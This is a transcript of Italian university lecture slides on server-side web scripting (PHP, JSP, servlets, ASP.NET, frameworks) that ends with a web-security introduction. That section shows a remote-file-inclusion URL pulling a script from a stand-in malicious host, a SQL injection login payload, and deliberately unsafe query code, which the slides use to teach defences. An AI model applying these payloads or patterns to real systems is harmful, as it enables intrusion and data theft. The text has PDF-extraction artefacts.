Scripting server-side - I - TIM e Telecom in un unico portale · Microsoft per lo sviluppo di...

27
1 Le tecnologie di scripting server-side ci permettono di scrivere pagine Web che contengono: codice HTML (+ eventuale codice Javascript) inviato al client (browser) che lo interpreta Scripting server-side - I client (browser) che lo interpreta codice di scripting server-side, interpretato dal server: al client (browser) viene inviato il risultato dell'interpretazione (elaborazione), cioè – in linea di massima – codice HTML rispetto alle tre distinzioni viste prima, le tecnologie di scripting server-side: utilizzano linguaggi di scripting a.a. 2013/14 Tecnologie Web 1 utilizzano linguaggi di scripting servono a scrivere pagine "dinamiche" sono eseguiti server-side (il codice è elaborato sul server) Scripting server-side - II Le tecnologie server-side (in generale, e gli script server-side in particolare) servono principalmente per: 1. acquisire informazioni dal client, per es: dati inseriti dall'utente in un modulo online; dati contenuti in un link [1] dall utente in un modulo online; dati contenuti in un link [1] 2. inserire dati in un database (per es. i dati di registrazione di un utente) o leggere dati da un database (per es. per verificare username e password di un utente) [2] Per far funzionare gli script server-side è necessario che il Web server "supporti" la tecnologia utilizzata è necessario che il Web server contenga un interprete per il linguaggio di a.a. 2013/14 Tecnologie Web 2 scripting prescelto [3] Inoltre, siccome tipicamente gli script server-side interagiscono con un database è necessario che sul "server" ci sia un DBMS[2] che supporti l'interazione con il database prescelto

Transcript of Scripting server-side - I - TIM e Telecom in un unico portale · Microsoft per lo sviluppo di...

1

Le tecnologie di scripting server-side ci permettono di scrivere pagine Web che contengono:

• codice HTML (+ eventuale codice Javascript) inviato al client (browser) che lo interpreta

Scripting server-side - I

client (browser) che lo interpreta

• codice di scripting server-side, interpretato dal server: al client (browser) viene inviato il risultato dell'interpretazione (elaborazione), cioè – in linea di massima – codice HTML

rispetto alle tre distinzioni viste prima, le tecnologie di scripting server-side: utilizzano linguaggi di scripting

a.a. 2013/14 Tecnologie Web 1

utilizzano linguaggi di scripting servono a scrivere pagine "dinamiche" sono eseguiti server-side (il codice è elaborato sul server)

Scripting server-side - II

Le tecnologie server-side (in generale, e gli script server-side in particolare) servono principalmente per:1. acquisire informazioni dal client, per es: dati inseriti

dall'utente in un modulo online; dati contenuti in un link [1]dall utente in un modulo online; dati contenuti in un link [1]

2. inserire dati in un database (per es. i dati di registrazione di un utente) o leggere dati da un database (per es. per verificare username e password di un utente) [2]

Per far funzionare gli script server-side è necessario che il Web server "supporti" la tecnologia utilizzata è necessario che il Web server contenga un interprete per il linguaggio di

a.a. 2013/14 Tecnologie Web 2

Web se ve co e g u e p e e pe gu gg o dscripting prescelto [3]

Inoltre, siccome tipicamente gli script server-side interagiscono con un database è necessario che sul "server" ci sia un DBMS[2] che supporti l'interazione con il database prescelto

2

Scripting server-side - III

HTTP request

nome = mariaeta = 18-25insert.php...

Come ti chiami?Quanti da 18 a 25

maria

[1]

q

WebServer

Interprete(es. PHP)

HTTP response

Ciao Maria!Ho inserito i tuoi dati......

<?php

anni hai?da 18 a 25

… invia

[2]

[3]

a.a. 2013/14 Tecnologie Web 3

DBMS(es: MySQL

Server)DB

p p$nome=$_POST["nome"];$eta=$_POST["eta"];...//inserimento nel DB?> INSERT INTO utenti

VALUES ($nome, $eta)

I dati da inviare al Web Server possono derivare da:• moduli online (form)• link con parametri

Il client invia i dati al Web Server inserendoli nell'HTTP

[1] Inviare dati al Web Server - I

Il client invia i dati al Web Server inserendoli nell HTTP request

Esistono due modi per codificare i dati nell'HTTP request:• metodo GET• metodo POST

vediamo:1. moduli online (form)2. link con parametri3. contenuto di HTTP request4. differenza tra i metodi GET e POST

a.a. 2013/14 4Tecnologie Web

3

Moduli online (form)

In HTML...

<FORM METHOD="POST"

[1] Inviare dati al Web Server - II

<FORM METHOD= POST ACTION="id.php" >

Login: <INPUT TYPE="TEXT" NAME="login"/>

Password: <INPUT TYPE="PASSWORD" NAME="pwd"/>

<INPUT TYPE="Submit" VALUE="OK"/>

</FORM>

... un modulo online (form) contiene:a. campi di input (tag <INPUT...> e altri)b. metodo (attributo METHOD del tag <FORM...>)c. azione (attributo ACTION del tag <FORM...>)

a.a. 2013/14 5Tecnologie Web

a. campi di input = elementi attraverso cui l'utente fornisce dei dati, per es:

[1] Inviare dati al Web Server - III

tra i campi di input c'è anche il pulsante di invio!

b. metodo = modo in cui vengono codificati i dati da inviare al server

i i ( ) h " li " dc. azione = script (o programma) che "raccoglie" ed "elabora" i dati contenuti nel form

a.a. 2013/14 6Tecnologie Web

4

[1] Inviare dati al Web Server - IVContenuto di HTTP requestCosa succede quando l'utente fa click sul pulsante di invio?Viene costruita una HTTP request che contiene:

• l'indicazione della risorsa server-side (script ol indicazione della risorsa server side (script o programma) che "gestirà" i dati, ricavata dall'attributo ACTION, per es: ACTION="id.php"

• i dati, nella forma di coppie <nome, valore>, ricavati dai campi di input riempiti/selezionati dall'utente

Per es: HTTP request: risorsa = identif.phpdati: <login, admin>

a.a. 2013/14 Tecnologie Web 7

All'interno di HTTP request i dati (parametri) possono essere codificati in due modi, a seconda dell'indicazione contenuta nell'attributo METHOD del tag <FORM...>...

g<pwd, pippo>

[1] Inviare dati al Web Server - V

Differenza tra i metodi GET e POST• metodo GET: i dati, cioè le coppie <nome, valore>, sono

scritti in coda alla risorsa saranno quindi visibili nell'URL (nella barra degli indirizzi del browser)Per es:

• metodo POST: i dati (parametri), cioè le coppie <nome, valore>, sono scritti all'interno del corpo (body) di HTTP

HTTP headerrisorsa = identif.php ?login=admin&pwd=pippo...

HTTP body...

a.a. 2013/14 Tecnologie Web 8

p ( y)request non saranno quindi visibili nella barra degliindirizzi del browser Per es:

HTTP headerrisorsa = identif.php...

HTTP bodydati: <login, admin>

<pwd, pippo>...

5

[1] Inviare dati al Web Server - VI

Link con parametri

In HTML...

<A HREF="param.php?risposta=alan">Alan</A> <BR><A HREF="param.php?risposta=kit">Kit</A> <BR><A HREF="param.php?risposta=john">John</A>

Cosa succede quando l'utente fa click sul un link?Viene costruita una HTTP request che contiene:

NB l'indicazione della HTTP header

risorsa = param php ?risposta=kit

a.a. 2013/14 Tecnologie Web 9

risorsa server-side (scripto programma) è nel link (attributo HREF), insieme

ai dati il metodo usato nell'HTTP request per la codifica dei dati è GET!

risorsa param.php ?risposta kit...

HTTP body...

Vi ricordate l'URL rewriting, utilizzato per gestire la sessione se i cookies sono stati disattivati?

Avevamo detto che il Web Server scrive il session-id come

[1] Inviare dati al Web Server - VII

parametro degli URL presenti nella pagina...

Ora siamo in grado di capire cosa vuol dire: quando il client deve costruire un'HTTP request (per es. quando l'utente clicca su un link), all'URL (risorsa) indicata nell'HTTP request viene aggiuto il session-id; per es:<A HREF="adduser.php">

diventa:<A HREF="adduser.php?PHPSESSID=68cf093a2ec5aa4f6cb60">

a.a. 2013/14 10Tecnologie Web

6

[2] Digressione: database - I

• I database ci permettono di salvare dati in modo strutturato• Esistono diverse tipologie di database, basate su principi di

strutturazione diversi: database relazionali, database ad oggetti, ...gg ,

• I tipi di database più utilizzati sono i database relazionali• La struttura di un database relazionale (quali tipi di

informazioni contiene, quali relazioni hanno le informazioni tra loro, ...) può essere definita a vari livelli:

vista 1 vista 2 vista n

a.a. 2013/14 Tecnologie Web 11

livello concettuale

livello logico

livello fisico

[2] Digressione: database - II

Livello logico: rappresentazione tabellare dei datiEsempio:

Tabella: LIBRI colonna/campo

N.Inv Autore Titolo Anno_ed Casa_ed

riga/recordcella

a.a. 2013/14 Tecnologie Web 12

Quando vogliamo costruire una tabella, dobbiamo innanzitutto definire la sua struttura: i nomi dei campi (colonne) e i tipi di dati in essi contenuti

7

[2] Digressione: database - III

Interazione con un database (utente, tramite una User Interface, o script server-side/programma):• interrogazione (leggo da DB)• inserimento di dati (scrivo nel DB)inserimento di dati (scrivo nel DB)• cancellazione di dati ("scrivo" nel DB)• aggiornamento

(scrivo nel DB)User Interface

a.a. 2013/14 Tecnologie Web 13

database<?$c=mysql_connect("localhost“,"root","");mysql_select_db("bacheca");$sql="SELECT * FROM ut WHERE co='Rossi'";$ris = mysql_query($sql)...?>

Script (server-side)

[2] Digressione: database - IV

Ogni interazione con la base di dati:

– viene interpretata, analizzata ed eseguita dal DBMS(DataBase Management System)

– costituisce una query, espressa (direttamente oppure tradotta) in SQL (Structured Query Language), es:SELECT * FROM libri WHERE editore='Feltrinelli'INSERT INTO utenti VALUES (nome, eta)

– restituisce come risultato un insieme di record (recordset), es: n.inv autore titolo casa_ed

a.a. 2013/14 Tecnologie Web 14

123

456

789

Allende

Benni

Voltolini

Eva Luna

Terra

10

Feltrinelli

Feltrinelli

Feltrinelli

8

Le principali tecnologie di scripting server-side sono:• PHP: open source [www.php.net]• JSP (Java Server Pages): di Sun Microsystems/Oracle

[www.oracle.com/technetwork/java/javaee/jsp/index.html]

Scripting server-side - IV

[ ]• ASP.NET [www.asp.net]: complesso framework di

Microsoft per lo sviluppo di pagine ed applicazioni Web che include anche meccanismi di scripting server-side (ma non è limitato a questi), es. con i linguaggi Visual Basic o C#

A cui si sono aggiunti, recentemente, due linguaggi di programmazione molto usati come linguaggi di scripting

a.a. 2013/14 Tecnologie Web 15

programmazione molto usati come linguaggi di scripting (server-side):• Python: open source (Python Software Foundation)

[www.python.org]• Ruby: open source [www.ruby-lang.org]

Pagina PHP = file di testo, con estensione .php, che può contenere:– Codice HTML (+ event. Javascript)– Codice PHP (= script server-side)

Scripting server-side: PHP - I

Esempio:...<P ALIGN="CENTER"><FONT FACE="Verdana" SIZE="3"><B>Prova form 1 (php)</B></FONT></P><?$id = $_POST["login"];$pwd = $ POST["password"];

script PHP (interpretato

HTML (interpretatodal browser)

a.a. 2013/14 Tecnologie Web 16

$pwd = $_POST[ password ];if ($id == "admin" && $pwd == "pippo") {echo "<P>Benvenuto amministratore!</P>";}else {echo "<P>Buongiorno ".$id."</P>";}

?>...

dall'interprete PHP, sul server)

9

Tipicamente:

Scripting server-side: PHP - II

sistema operativo

web server DBMS interprete scriptserver-side

Linux Apache MySQL PHP

L. A. M. P.

Linux (www.linuxfoundation.org)Apache (www.apache.org)MySQL (www.mysql.com)PHP (www.php.net)

Linux Apache MySQL PHP

tutte tecnologie Open Source[*]

a.a. 2013/14 Tecnologie Web 17

NB: sono possibili combinazioni diverse... Per es: Windows + Apache + MySQL + PHP = W.A.M.P.

Mac OS + Apache + MySQL + PHP = M.A.M.P.

Breve parentesi sull'open source[www.opensource.org]

Open Source Initiative (OSI) = associazione no-profit che ha l'obiettivo di gestire e promuovere la produzione di

[*] Digressione: Open Source - I

ha l obiettivo di gestire e promuovere la produzione di software open sourceIl software open source (o software libero) deve rispettare una serie di criteri:

• Il codice sorgente del programma deve essere disponibile• Il software può essere modificato e distribuito (con un

nome diverso) alle stesse condizioni

a.a. 2013/14 Tecnologie Web 18

• La licenza del software deve consentire a chiunque di ridistribuire il software secondo le stesse modalità

• Chiunque può partecipare allo sviluppo del software• Il software deve essere distribuito gratuitamente (senza

diritti d'autore o profitti)

10

L'idea che sta alla base dell'Open Source Initiative è la seguente: quando i programmatori hanno la possibilità di leggere, modificare e ridistribuire il codice sorgente di un programma quel software si evolve La gente lo migliora

[*] Digressione: Open Source - II

programma, quel software si evolve. La gente lo migliora, lo adatta, lo corregge. E tutto questo può avvenire con una rapidità che appare impressionante a chi è abituato ai ritmi lenti dello sviluppo del software convenzionale.

La comunità dell'open source ha imparato che questo rapido processo evolutivo produce software migliorerispetto al tradizionale modello chiuso, nel quale solo

hi i i i h l di

a.a. 2013/14 Tecnologie Web 19

pochissimi programmatori hanno accesso al codice sorgente e tutti gli altri devono avere a che fare con un imperscrutabile e oscuro blocco di bit.[da www.opensource.org]

JSP (Java Server Page) = file di testo, con estensione .jsp che può contenere:– Codice HTML (+ event. Javascript)– Codice Java, oppure tag JSTL (JSP Standard Tag Library

Scripting server-side: JSP - I

Codice Java, oppure tag JSTL (JSP Standard Tag Library = libreria di tag che corrispondono ad istruzioni Java)

Esempio:...<P ALIGN="CENTER"><FONT FACE="Verdana" SIZE="3"><B>Prova JSP/JSTL (sql)</B></FONT></P><sql:setDataSource driver="com.mysql.jdbc.Driver" JSTL

HTML (interpretatodal browser)

a.a. 2013/14 Tecnologie Web 20

url="jdbc:mysql://localhost/database_name" var="localSource" user="database_user" password="database_password"/> <sql:query dataSource="${localSource}" sql="SELECT * FROM products WHERE price > 100" var="result" /> ...

JSTL tags

11

Note:• Java è un linguaggio di programmazione, che viene

(apparentemente) utilizzato anche come linguaggio di scripting...

Scripting server-side: JSP - II

p g• I tag JSTL assomigliano ai tag di un linguaggio di mark-up...

ma non lo sono! Vengono infatti tradotti in istruzioni Java

Infatti...il funzionamento delle JSP è diverso rispetto alle altre tecnologie di scripting (es. PHP): una JSP viene tradotta in una Java Servlet, cioè un programma Java che viene poi

a.a. 2013/14 Tecnologie Web 21

automaticamente compilato ed eseguito: la sua esecuzione genera la pagina Web

Vediamo cosa sono le Servlet, poi torniamo a vedere come funzionano le JSP...

Java Servlet - I

Le Java Servlet (www.oracle.com/technetwork/java/index-jsp-13 5475.html) sono dei programmi Java pensati per la programmazione sul Web

• li si deve poter invocare "attraverso" il Web Server (per esli si deve poter invocare attraverso il Web Server (per es. tramite un URL)

• devono essere in grado di manipolare HTTP (request e response); in particolare:

il Web Server deve poter passare al programma la HTTP request proveniente dal client (browser) contenente i dati, affinché la Servlet possa leggerne il contenuto

a.a. 2013/14 Tecnologie Web 22

affinché la Servlet possa leggerne il contenuto

quando la Servlet ha elaborato il risultato (per es. un frammento di codice HTML), lo mette dentro all'HTTP response che verrà inviata al client (browser) dal Web Server

12

Java Servlet - IILe Servlet (come le tecnologie di scripting server-side) servono principalmente per:1. acquisire informazioni dal client, per es: dati inseriti

dall'utente in un modulo online; dati contenuti in un link2 i i d ti i d t b ( i d ti di i t i di2. inserire dati in un database (per es. i dati di registrazione di

un utente) o leggere dati da un database (per es. per verificare username e password di un utente)

tutto ciò che abbiamo detto (parlando di scripting server-side) a proposito di: moduli online (form), link con parametri, contenuto di HTTP request, differenza tra GET e POST, vale anche per le Servlet!

a.a. 2013/14 Tecnologie Web 23

rispetto alle tre distinzioni viste prima, le Servlet sono programmi Java, che è un linguaggio di

programmazione servono a scrivere pagine "dinamiche" sono eseguiti server-side (il codice è eseguito sul server)

Java Servlet - III

Per costruire un'applicazione Web basata sulle Servlet è necessario un Servlet Container (o Web Container o Servlet Engine) che:

– "carica" le Servlet nel processo del Web Server (alla prima invocazione della Servlet)

– supporta il protocollo HTTP (per gestire il flusso HTTP request/HTTP response)

– gestisce al suo interno più applicazioni, ognuna identificata da un servlet context (nome univoco)

a.a. 2013/14 Tecnologie Web 24

13

Java Servlet - IV

HTTP request

Come ti chiami?Quanti anni hai?

da 18 a 25

maria

nome = mariaeta = 18-25"inserisci"...

WebServer

ServletContainer

HTTP response

Ciao Maria!

SERVLET inserisci

anni hai?… invia

Ciao Maria!Ho inserito i tuoi dati......

DBMS

a.a. 2013/14 Tecnologie Web 25

Applicazione Web

Print("Ciao,"+nome); ...//inserimento nel DB/*invia ris in HTTPresponse*/

DBMS(es: MySQL

Server)DB

INSERT INTO utentiVALUES ($nome, $eta)

Java Servlet - V

Tipi di Servlet Container:

• Servlet Container incluso nel Web server: alcuni Web server (scritti in Java) includono un Servlet Container; ( ) ;per es: Tomcat [vedi prossima slide]

• Servlet Container in J2EE Application Server: esiatono degli Application Server che includono un Web server e un Servlet Container; per es: Glassfish [vedi prossima slide]

• Servlet Container in "runtime" separato: Web server

a.a. 2013/14 Tecnologie Web 26

Servlet Container in runtime separato: Web server come Apache e Microsoft IIS necessitano di un Servlet Container in un modulo separato per gestire le Servlet (+ un plug-in che gestisce la comunicazione tra Web server e Servlet Container)

14

Tomcat (tomcat.apache.org)Tomcat è un Web server open source, sviluppato dalla Apache Software Foundation, che include un Servlet Container

Java Servlet - VI

Glassfish (glassfish.java.net)GlassFish è un Application Server[*] open source,

sviluppato inizialmente dalla Sun Microsystems e attualmente gestito dalla Oracle; include un Web server e un Servlet Container

[*] A li ti S ft h d di

a.a. 2013/14 Tecnologie Web 27

[*] Application Server = software che comprende diverse funzionalità per la gestione di applicazioni complesse; tipicamente, include un Web server

Torinamo alle JSP e cerchiamo di capire come funzionano...Alla prima richiesta di una pagina JSP, viene invocato un Compilatore JSP che crea una Java Servlet:– trasforma i tag HTML (e le eventuali istruzioni Javascript) in

Scripting server-side: JSP - III

g ( p )istruzioni Java che scrivono nel body della HTTPresponse(quindi sulla pagina Web che sarà visualizzata dal browser)es: <P ALIGN='CENTER'> PrintWriter pw;

pw = httpResp.getWriter();pw.print("<P ALIGN='CENTER'>");

– se la JSP contiene direttamente codice Java, lo include nella Servlet

a.a. 2013/14 Tecnologie Web 28

– se la JSP contiene tag JSTL, li traduce in istruzioni Java e le include nella Servlet

15

per far funzionare le JSP è necessaria la stessa tecnologia che si usa per le Java Servlet (un Web server con un Servlet Container) + un compilatore JSP (motore JSP), che traduce la JSP in una Servlet

Scripting server-side: JSP - IV

che traduce la JSP in una Servlet

Tomcat e Glassfish contengono, oltre al Servlet Container, anche il motore JSP

a.a. 2013/14 Tecnologie Web 29

• ASP.NET = framework (gratuito) che supporta la costruzione di applicazioni Web (pagine Web con estensione .aspx)

• nel framework .NET possono essere utilizzi diversi linguaggi di i ti / i il iù t è Vi l C#

Scripting server-side: ASP - I

di scripting/programmazione: il più usato è Visual C#• Visual Studio = ambiente di sviluppo integrato (IDE) di

Microsoft per sviluppare applicazioni Web, mobile e Windows in ambiente .NET comprende:– .NET Framework– IIS (Web Server)– SQL Server (DBMS)

a.a. 2013/14 Tecnologie Web 30

SQL Server (DBMS)• Visual Studio include anche delle librerie client-side (per

inserire script Javascript, AJAX, JQuery, ...)• Visual Studio Express = versione gratuita per sviluppare

app. Web (scaricabile da www.asp.net, Get Started)

16

Python - I

• Python (www.python.org) è linguaggio di programmazione utilizzabile anche come linguaggio di scripting (server-side)

L i l i di b (CP h f• La sua implementazione di base (CPython, reference implementation) è open source ed è gestita dalla Python Software Foundation (www.python.org/psf)

• Supporta diversi paradigmi di programmazione (object-oriented, procedurale, ecc.)

• Utilizza un approccio "misto" (come Java): il codice i il i li i i di

a.a. 2013/14 Tecnologie Web 31

sorgente viene compilato in un linguaggio intermedio (bytecode), specifico di Python, il quale viene poi interpretato ed eseguito dall'interprete (Virtual Machine)

Python - II

• E' uno dei 4 linguaggi utilizzati da Google (insieme a Javascript, Java e C++), è il principale linguaggio con cui è implementato YouTube, è usato al CERN e alla NASA, ...

• Nel download di Python (che comprende compilatore eNel download di Python (che comprende compilatore e interprete) è incluso anche un ambiente di sviluppo (un IDE: vedi prossime slide) chiamato IDLE

a.a. 2013/14 Tecnologie Web 32

17

Ruby

• Ruby (www.ruby-lang.org) è linguaggio di programmazione sostanzialmente utilizzato come

linguaggio di scripting (server-side), creato in Giappone all'inizio degli anni '90all inizio degli anni 90

• E' open source

• E' un linguaggio object-oriented (ma supporta diversi paradigmi di programmazione)

• E' un linguaggio interpretato

• Una guida: www.techotopia.com/index.php/Ruby Essentials

a.a. 2013/14 Tecnologie Web 33

Una guida: www.techotopia.com/index.php/Ruby_Essentials

Integrated Development Environments (IDE)

• IDE = Integrated Development Environment = strumento software che offre diverse funzionalità integrate a supporto della programmzione

Ti i t i l d• Tipicamente include:– un editor per scrivere/modificare il codice sorgente– compilatori/interpreti e strumenti per la corretta

creazione dell'applicazione finale (es. file di configurazione, ecc.)

– strumenti per il "debugging", cioè per la ricerca e la correzione degli errori ("bug" = errore nel software)

a.a. 2013/14 Tecnologie Web 34

correzione degli errori ( bug = errore nel software)

• Alcuni IDE sono dedicati ad un singolo linguaggio di programmazione, altri supportano più linguaggi

18

IDE: NetBeans• NetBeans (https://netbeans.org/) nasce alla Sun Microsystems

ed è ora della Oracle• NetBeans nasce come IDE per Java, ma è stato poi esteso per

supportare vari altri linguaggi per sviluppare applicazioni W b i J i PHPWeb, tra cui Javascript, PHP,

a.a. 2013/14 Tecnologie Web 35

IDE: Eclipse• Eclipse (www.eclipse.org) è un IDE open source, multi-

linguaggio, molto utilizzato per sviluppare applicazioni (Web) Java

• Può essere esteso per supportare diversi linguaggi (per es. PHP, P ht R b J i t) ti i di li i i ( li i iPyhton, Ruby, Javascript) e tipi di applicazioni (es. applicazioni per smartphone) con l'aggiunta di opportuni plug-in

a.a. 2013/14 Tecnologie Web 36

19

Software frameworks - I

• Software framework (o semplicemente framework) = ambiente software che offre dei "template" ("modelli") astratti di codice che offrono funzionalità generiche e che possono essere modificati dal programmatore che aggiungepossono essere modificati dal programmatore che aggiunge codice specifico, così da implementare funzionalità specifiche per sviluppare applicazioniGeneralmente un framework comprende anche compilatori/interpreti, librerie, e moduli che aiutano il programmatore nello sviluppo di un'apllicazione complessa

• Web Application Framework (WAF) = software

a.a. 2013/14 Tecnologie Web 37

framework per lo svuiluppo di applicazioni WebGeneralmente un WAF comprende librerie per l'accesso a database, la gestione delle sessioni, ecc.

Software frameworks - IIFrameworks (WAF) per PHP• Esistono molti framework per PHP• Uno dei più famosi è Zend Framework (framework.zend.com)• Un articolo comparativo: p

www.html.it/articoli/framework-php-una-comparazione-1/

• Vedi anche: www.phpframeworks.com

Frameworks (WAF) per Python• Esistono diversi framework per Python• Il più famoso è Django (www.djangoproject.com/)• Un elenco: https://wiki.python.org/moin/WebFrameworks

a.a. 2013/14 Tecnologie Web 38

p py g

Frameworks (WAF) per Ruby• Esistono diversi framework per Ruby• Il più famoso è sicuramete Ruby on Rails, o Rails

(rubyonrails.org)

20

La sicurezza nelle applicazoni Web

• I programmi, soprattutto se di grandi dimensioni, possono contenere errori (bugs, "bachi") e alcuni errori possono rappresentare "falle di sicurezza"

La sicurezza sul Web: introduzione - I

• Le falle di sicurezza rappresentano dei punti di ingresso per terze parti provenienti dall'esterno, a cui è fornita la possibilita di acquisire dati o alterare il funzionamento dell'applicazione

Intrusione = accesso non previsto ad un programma, con

a.a. 2013/14 Tecnologie Web 39

p p g ,lo scopo di prelevare dati nascosti o modificarne il funzionamento; es: furto di dati personali (documenti, credenziali per l'accesso, contatti e dati anagrafici) custoditi all'interno di database non protetti a sufficienza

• Le motivazioni di un'intrusione possono essere varie, dalla sfida personale alla truffa vera e propria

• Per ridurre la possibilità di intrusioni bisogna "mettere in sicurezza" l'applicazione per implementare

La sicurezza sul Web: introduzione - II

sicurezza l applicazione per implementare un'applicazione web sicura sono necessari tempo ed energie, che spesso vengono invece spesi solo quando si presentano i problemi…

• La messa in sicurezza di un'applicazione dovrebbe invece seguire di pari passo la progettazione, per evitare di dover inserire successivamente costose e meno funzionali patch

a.a. 2013/14 Tecnologie Web 40

p

21

ATTACCHI:esistono diversi modi per attaccare un'applicazione web: accenniamo solo ad alcuni esempi: attacchi in fase di autenticazione

La sicurezza sul Web: introduzione - III

attacchi in fase di autorizzazione iniezioni di codice

DIFESE E MESSA IN SICUREZZA:progettazione di applicazioni sicure: accenniamo solo ad alcune delle tecniche più semplici, a titolo di esempio: test audiovisivi

a.a. 2013/14 Tecnologie Web 41

validazione dell'input sicurezza della sessione

Autenticazione = processo tramite il quale un programmaverifica le credenziali di un computer/programma/utente

Tecniche di intrusione basate su debolezze dei meccanismi di autenticazione per ottenere i dati di accesso (credenziali):

Attacchi: autenticazione - I

di autenticazione per ottenere i dati di accesso (credenziali):• Brute force:

– processo automatico per tentativi ed errori– tramite la generazione casuale di stringhe o l'utilizzo di

appositi dizionari, effettua reiterati tentativi per indovinare dati come username, password, numeri di carte di credito, …

a.a. 2013/14 Tecnologie Web 42

22

• Autenticazione insufficiente:– vulnerabilità che dipende da una cattiva progettazione

della sicurezza del sito– per es: un'applicazione web che implementa un'area

Attacchi: autenticazione - II

riservata inserendola in una cartella o in un file non linkato nella home, accessibile solo a chi ne conosce il percorso, senza altre protezioni

• Sistema debole per il recupero e validazione della password: – recupero password non sicuro

hi di ti l d i hi ti

a.a. 2013/14 Tecnologie Web 43

– per es: a chi dimentica la password vengono richiesti alcuni dati personali inseriti in fase di registrazione (email, domicilio, numero di telefono, …); ricavare queste informazioni è spesso facile per chi conosce la vittima che intende colpire

Autorizzazione = metodo con cui vengono controllate le credenziali di un utente/applicazione e stabilite le possibilità di accesso a certe operazioni (verifica dei "privilegi")

Tecniche di intrusione basate su debolezze dei meccanismi

Attacchi: autorizzazione - I

Tecniche di intrusione basate su debolezze dei meccanismi di autorizzazione per falsificare i propri privilegi:• Session hijacking: "dirottamento della sessione"

– consiste nel ricavare l'ID di sessione di uno degli utenti collegati in quel momento e sfruttare le sue credenziali per accedere a dati o a sezioni riservate

a.a. 2013/14 Tecnologie Web 44

23

• Autorizzazione insufficiente:– vulnerabilità che dipende da una cattiva progettazione

della sicurezza del sito– per es: un'applicazione web che permette l'accesso a

Attacchi: autorizzazione - II

documenti riservati a chi ne conosca il percorso, senza imporre le dovute restrizioni

• Terminazione della sessione insufficiente: – quando il sito permette all'utente di riutilizzare un

vecchio session ID anche dopo diverso tempo, per evitargli di ripetere frequentemente il login (questo fa sì h li t i t bbi iù t di i i

a.a. 2013/14 Tecnologie Web 45

che un malintenzionato abbia più tempo a disposizione per tentare un furto di un session ID)

Iniezioni di codice = inserimento di codice che esegue operazioni anomale non previste dall'autore• Esempio 1: iniezioni PHP (uso incauto di GET e include)

http://sito_esempio/esempio.php?include_script=previsto.php

Attacchi: iniezioni di codice - I

– l'URL di connessione alla pagina esempio.php contiene il parametro include_script, il cui valore è il (percorso del) file che contiene lo script da inserire all'interno del codice (previsto.php)

– all'interno di esempio.php leggiamo il valore del parametro include_script senza alcun controllo sul tale valore!!include ($_GET["include_script"]);

rendiamo possibile inoculare, per es, lo script malevolo.php id t l it it l l !!!

a.a. 2013/14 Tecnologie Web 46

residente sul sito sito_malevolo.com !!!

Per farlo è infatti sufficiente connettersi a:http://sito_esempio/esempio.php?include_script=

http%3A%2F%2Fsito_malevolo.com%2Fmalevolo.php: / / /

24

• Esempio 2: iniezioni SQL (uso incauto di POST)

Attacchi: iniezioni di codice - II

L'utente inserisce nel form caratteri "strani", per es:

Username: ' OR ' ' = '

– all'interno della nostra pagina PHP leggiamo i valore inseriti dall'utente e li usiamo per interrogare il database (fare una query SQL) senza alcun controllo sul tali valori!!$query = "SELECT * FROM dati utenti WHERE

Username: OR Password: ' OR ' ' = '

a.a. 2013/14 Tecnologie Web 47

$query SELECT FROM dati_utenti WHERE username = '".$user."' AND password = ".$pass."'";

– la nostra interrogazione (query) seleziona tutti i record della tabella!

l'utente malintenzionato può stampare sul proprio browser tutto il contenuto della tabella del database con i dati degli utenti!!!

Spesso, per cercare automaticamente le falle di un sistema, vengono utilizzati dei programmi che effettuano un'analisi (automatica) dei punti vulnerabili del sistema (NB: possono essere usati sia per intrusione, sia per la ricerca

ti di ibili f ll di i )

Difese: test audiovisivi - I

preventiva di possibili falle di sicurezza...)

Difesa contro gli strumenti di analisi automatica:• esistono diverse possibili azioni preventive• ne citiamo solo una a titolo esemplificativo: i

CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart)

b ll'id d l t t di T i ( d d

a.a. 2013/14 Tecnologie Web 48

– basato sull'idea del test di Turing (porre domande che permettano di capire se l’interlocutore è un umano o una macchina)

25

– la forma più comune di CAPTCHA è visiva: vengono mostrati all’utente lettere e numeri distorti in modo da eludere gli OCR (Optical Character Recognition:programmi dedicati al riconoscimento di un'immagine

t t t t )

Difese: test audiovisivi - II

contenente testo)

a.a. 2013/14 Tecnologie Web 49

– esistono anche forme di CAPTCHA audio

Progettazione di applicazioni sicure (accenniamo solo ad alcune delle tecniche più semplici, a titolo di esempio…)

Validazione inputUno dei punti più deboli di un'applicazione Web è l'elaborazione

Difese: validazione input - I

U o de pu t p ù debo d u app ca o e Web è e abo a o edei dati forniti dall'utente in input (es. nei form; vedi es. prec.) effettuare dei controlli sulle stringhe in input è fondamentale!– Numeri: is_numeric(n) controlla che n sia un numero– Stringhe: validare le stringhe è una questione molto più

complessa… esistono due modi principali:

(a) filtrare l'inserimento di specifiche sequenze di caratteri,

a.a. 2013/14 Tecnologie Web 50

( ) p q ,come i tag HTML, eliminando o ri-codificando le parti della stringa potenzialmente dannose (+ permissivo)

(b) accettare solo input che rispettino specifiche regole di formattazione (+ restrittivo)

26

(a) L'utente può inserire apici singoli (') e doppi (")Possibile difesa: funzioni di escapeEscape = anteposizione di un carattere di escape, generalmente il backslash (\), ad alcuni caratteri che hanno significati particolari (per esempio gli apici); la presenza del carattere di escape comunica all’interprete di non

Difese: validazione input - II

apici); la presenza del carattere di escape comunica all interprete di non interpretare ciò che segue

Nel precedente es. di iniezione di codice SQL, utilizzando delle funzioni di escape sull'input fonito dall'utente nel form si evita di scrivere (involontariamente) una query "dannnosa":$query = "SELECT * FROM dati_utenti WHERE

username = '".mysql_real_escape_string($user)."' ANDpassword = ".mysql_real_escape_string($pass)."'";

A l l' ò i i l f i i li

a.a. 2013/14 Tecnologie Web 51

Analogamente, l'utente può inserire nel form caratteri speciali (es. tag HTML) con lo scopo di far eseguire codice malevoloPossibile difesa: funzioni che eliminano i tag HTML dalla stringa in input, oppure trasformano i caratteri speciali secondo la sintassi HTML (< diventa &lt; ecc…);

(b) Controlli sull'input:• si può, per es, controllare la lunghezza (e il tipo) delle stringhe

in input (con delle apposite funzioni)• si possono usare delle whitelist controllare che i dati

Difese: validazione input - III

• si possono usare delle whitelist controllare che i dati (stringhe) appartengano ad una lista predefinita (per es, controllo che l'input appartenga alla whitelist lunedì, martedì, mercoledì, giovedì, venerdì

a.a. 2013/14 Tecnologie Web 52

27

Sicurezza della sessione• La misura di sicurezza più semplice è utilizzare i cookies come

mezzo di trasporto del session ID, inibendo l'URL rewriting (rendendo così il session hijacking molto più difficile da realizzare): per farlo occorre modificare la configurazione del modulo PHP

Difese: sicurezza della sessione - I

